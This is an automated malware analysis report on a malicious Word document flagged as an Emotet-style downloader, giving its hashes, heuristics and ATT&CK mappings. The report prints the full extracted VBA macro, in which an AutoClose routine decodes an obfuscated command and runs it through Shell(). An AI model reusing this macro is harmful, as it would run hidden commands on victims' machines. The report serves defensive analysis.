Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e43c2070435f9aa7…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: 1b3ecd957973c315fbab3aa1bccd3ace SHA-1: 6cdc4027a5dc1219e26a2a0acbc2fcb7d4c5eddd SHA-256: e43c2070435f9aa704408a6e4f9112b2e83288039bf8382023c3973956c670ac
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and calls the Shell() function, which is a critical heuristic firing. This indicates the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The ClamAV detection also confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2027 bytes
SHA-256: 8824db6671ac6f25dd88bc16442ae9047a6ced20e9b8e01c36b8c2eec3023a94
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function juga(illustrated)
  degu = Array("M", "y", "r", "b", "I", "n", "f", "x", "Y", "Z", "l", "g", "K", "B", "c", "G", "3", "a", "P", "v", "j", "w", "H", "L", "E", "A", "R", "9", "d")
  halsfang = Array("p", ".", "u", "e", "c", "/", "q", "h", "=", ":", "w", "s", "U", "N", "t", " ", "m", "n", "f", "x", "k", "i", "j", "b", "a", "o", "d", "?", "z")
  
  amours = vbNullString
  
  For Each misatoning In illustrated
    vulpes = declasse(misatoning, degu)
    If vulpes > -1 Then
    amours = halsfang(vulpes) + amours
    End If
  Next
  
  juga = StrReverse(amours)
  
End Function

Public Function declasse(disenable, mammons)
  cosmogenetic = 5981
  programmist = 8041
  For cosmogenetic = 0 To UBound(mammons)
    If mammons(cosmogenetic) = disenable Then
     programmist = cosmogenetic
    End If
  Next

  If programmist = 8041 Then
    programmist = -1
  End If
  
  declasse = programmist
End Function


Sub AutoClose()
  illustrated = Array("3", "g", "x", "c", "E", "y", "b", "v", "b", "G", "x", "c", "c", "M", "Z", "n", "n", "w", "H", "f", "R", "H", "f", "a", "l", "w", "R", "r", "f", "r", "H", "f", "w", "r", "b", "d", "v", "I", "y", "I", "A", "3", "n", "B", "K", "n", "g", "A", "P", "y", "M", "x", "M", "9", "r", "c", "3", "E", "Y", "L", "E", "l", "j")
  serranoid = juga(illustrated)
  
  Application.Run "scalloping", (serranoid)
  
End Sub


Private Sub scalloping(maund)
   
   bundles = 909
   guayule = True
   
   While guayule
     munificentness = bundles + 611
     If munificentness - bundles > 7 Then
       transferable = persuade + "ll"
       Call VBA.Shell(maund, vbNormalFocus - 1)
       guayule = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: dae44bfd65274dcee6eba32cf1a3fc2c9b9442c70d03fc72a3f30b00e3dcef3f
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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